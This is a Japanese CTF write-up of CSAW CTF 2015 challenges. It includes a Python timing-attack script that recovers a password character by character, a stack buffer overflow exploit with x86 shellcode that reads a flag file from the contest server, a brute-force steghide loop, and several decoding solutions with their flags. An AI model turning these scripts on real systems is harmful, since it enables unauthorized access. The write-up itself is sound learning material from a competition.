読者です 読者をやめる 読者になる 読者になる

CSAW CTF 2015 Write-up

CSAW CTF 2015

ぼっちチームsuperflipは1200点で287位(´・ω・`)

Web 200 Lawn Care Simulator

gitのディレクトリが残っているので、

git clone http://54.175.3.248:8089/.git/

で手元にファイルを持ってこられる。

新規登録しようとしたときに新規ユーザーかどうかのチェックをSQLのLIKEでしているが、%のエスケープが抜けているので、%というユーザー名で登録しようとすると、→ Username: ~~FLAG~~ is not availableと言われて、~~FLAG~~というユーザーがいることが分かる。

パスワードのチェックで1文字ごとにウエイトを入れているので、タイミング攻撃ができる。パスワードは32文字のはずなのに、10文字目以降実行時間が変わらなくなって悩んだけど、10文字の時点でフラグが表示されていた。時間がかかりすぎるから修正されたのか……。たまにパスワードが一致していなくてもなぜか時間がかかるときがあるので、そこは人力で何とかした。時間がおかしかったら一旦プログラムを止めて、passwordに途中までの値を書き込むとそこから探索できるようにした。あと表示されたフラグに}が抜けていた。

url = "http://54.175.3.248:8089/premium.php"
username = "~~FLAG~~"
password = ""

from urllib import *
from urllib2 import *
from time import *

for i in range(len(password), 32):
    ans = ""
    anst = 0
    for c in "0123456789abcdef":
        p = password+c
        p += "x"*(32-len(p))
        s = time()
        r = urlopen(Request(url, urlencode({"username":username, "password":p}))).read()
        print r
        t = time()-s
        print c, t
        if t>anst:
            ans = c
            anst = t
    password += ans
    print i, password
flag{gr0wth__h4ck!nG!1!1!}

追記

    $index = 0;
    while($hash[$index]){
        if ($pass[$index] != $hash[$index])
            return false;
        # Protect against brute force attacks
        usleep(300000);
        $index+=1;
    }
    return true;

なるほど……。PHP!!!

Exploitables 100 precision

スタックのアドレスを教えてくれるし、スタックも実行可能で簡単。スタックの途中に入っている浮動小数点がチェックされるので、その同じ値で上書きする必要がある。なぜか、execv('/bin/sh')が動かなかったので、システムコールを使ってファイル一覧とフラグを取得した。

from socket import *
from struct import *
from telnetlib import *
from time import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(("54.173.98.115", 1259))

b = s.recv(1000)
stack = int(b[-9:-1], 16)
print "stack",hex(stack)

shell = "a"*0x80
shell += "a5315a4755155040".decode("hex")
shell += "0123456789ab"
shell += pack("<I", stack+len(shell)+4)

shell += (
    "83c47f"+   # add esp, 7f

#   # open(".", 0, 0)
#   "33c0"+     # xor eax, eax
#   "b02e"+     # mov al, 2eh
#   "50"+       # push eax
#   "33c0"+     # xor eax, eax
#   "b005"+     # mov al, 5
#   "8bdc"+     # mov ebx, esp
#   "33c9"+     # xor ecx, ecx
#   "33d2"+     # xor edx, edx
#   "cd80"+     # int 80h

#   # getdents(fd, esp, 0x100)
#   "8bd8"+     # mov ebx, eax
#   "33c0"+     # xor eax, eax
#   "b08d"+     # mov al, 8dh
#   "8bcc"+     # mov ecx, esp
#   "33d2"+     # xor edx, edx
#   "fec6"+     # inc dh
#   "cd80"+     # int 80h

    # open("flag", 0, 0)
    "33c0"+     # xor eax, eax
    "50"+       # push eax,
    "b8666c6167"# mov eax, 0x67616c66
    "50"+       # push eax
    "33c0"+     # xor eax, eax
    "b005"+     # mov al, 5
    "8bdc"+     # mov ebx, esp
    "33c9"+     # xor ecx, ecx
    "33d2"+     # xor edx, edx
    "cd80"+     # int 80h

    # read(fd, esp, 0x100)
    "8bd8"+     # mov ebx, eax
    "33c0"+     # xor eax, eax
    "b003"+     # mov al, 3
    "8bcc"+     # mov ecx, esp
    "33d2"+     # xor edx, edx
    "fec6"+     # inc dh
    "cd80"+     # int 80h


    # write(1, esp, 0x100)
    "33c0"+     # xor eax, eax
    "b004"+     # mov al, 4
    "33db"+     # xor ebx, ebx
    "43"+       # inc ebx
    "8bcc"+     # mov ecx, esp
    "33d2"+     # xor edx, edx
    "fec6"+     # inc dh
    "cd80"+     # int 80h
    "").decode("hex")

shell += "\n"

s.sendall(shell)

sleep(1)
print repr(s.recv(1000))
# flag{1_533_y0u_kn0w_y0ur_w4y_4r0und_4_buff3r}

Crypto 50 ones_and_zer0es

Cryptoの問題はなぜかテキストなのに拡張子が動画。

2進数を文字に直すだけ。

flat{People always make the best exploits.}

Crypto 50 whiter0se

置換式暗号。このサイトで解けた。

BUT NO, IT WAS A SHORT CUT TO SOMETHING BIGGER. SOMETHING GRANDER. SOMETHING BEAUTIFUL. WE'VE BEEN FOCUSED ON WHAT'S IN FRONT OF US. BUT WE HAVEN'T BEEN LOOKING AT WHAT'S ABOVE US.

Crypto 50 zer0-day

Base64

flag{We are fsociety, we are finally free, we are finally awake!}

Crypto 100 notesy

置換式暗号を行うcgi。暗号化器だけで、平文も暗号文の無いのにどうしろと……と思っていたら、ヒントが追加された。

HINT: If you have the ability to encrypt and decrypt, what do you think the flag is?

対応表が答えだった。この形式どこかでも見た気がする。暗号文ではなく暗号化器が与えられているので、abcdef…を変換するだけ。

UNHMAQWZIDYPRCJKBGVSLOETXF

Forensics 100 Keep Calm and CTF

画像をテキストエディタで開くと書いてある。

h1d1ng_in_4lm0st_pla1n_sigh7

Forensics 100 Transfer

pcapファイル。通信の中にrot13, Base64, シーザー暗号を繰り返して暗号化するPythonスクリプトがあるので、逆算するスクリプトを書く。素直に書いたら、シーザー暗号の復号部で、

TypeError: character mapping must return integer, None or unicode

と怒られ、末尾の=を消したら動いたので、手作業で=を消したり付けたりした。何なんだろう?

import string
import random
from base64 import b64encode, b64decode

FLAG = 'flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}'

enc_ciphers = ['rot13', 'b64e', 'caesar']
# dec_ciphers = ['rot13', 'b64d', 'caesard']

def rot13(s):
    _rot13 = string.maketrans( 
        "ABCDEFGHIJKLMabcdefghijklmNOPQRSTUVWXYZnopqrstuvwxyz", 
        "NOPQRSTUVWXYZnopqrstuvwxyzABCDEFGHIJKLMabcdefghijklm")
    return string.translate(s, _rot13)

def b64e(s):
    return b64encode(s)

def caesar(plaintext, shift=3):
    alphabet = string.ascii_lowercase
    shifted_alphabet = alphabet[shift:] + alphabet[:shift]
    table = string.maketrans(alphabet, shifted_alphabet)
    return plaintext.translate(table)

def encode(pt, cnt=50):
    tmp = '2{}'.format(b64encode(pt))
    for cnt in xrange(cnt):
        c = random.choice(enc_ciphers)
        i = enc_ciphers.index(c) + 1
        _tmp = globals()[c](tmp)
        tmp = '{}{}'.format(i, _tmp)

    return tmp

#if __name__ == '__main__':
#   print encode(FLAG, cnt=?)

flag = "2Mk16Sk5iakYxVFZoS1RsWn(略)"

while True:
    if flag[0]=="1":
        flag = flag[1:].decode("rot13")
    elif flag[0]=="2":
        flag = flag[1:].decode("base64")
    elif flag[0]=="3":
        flag = caesar(flag[1:], 23)
    else:
        break
    print flag
# flag{li0ns_and_tig3rs_4nd_b34rs_0h_mi}

Forensics 100 Flash

イメージファイルが問題。flag{で検索したら出てきた。

flag{b3l0w_th3_r4dar}

Forensics 200 airport

空港の航空写真4枚と、Steghideと書かれたJpegファイルが1枚。このソフトらしい。空港コードがパスワードだろうと思ったが、トロント・ピアソン国際空港だけは画像検索で引っ掛からなかったので、全探索した。

import os
import sys

A = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
for a in A:
 for b in A:
  for c in A:
   sys.stdout.write(a+b+c)
   sys.stdout.flush()
   os.system("steghide\\steghide.exe extract -v -sf for_release\\steghide.jpg -xf hoge -p HAVHKGLAX"+a+b+c)
iH4t3A1rp0rt5

Recon 100 Julian Cohen

Twitterに書いてあった。

flag{f7da7636727524d8681ab0d2a072d663}

Trivia

問題文でググったら答えを書いている人がいた。ひどい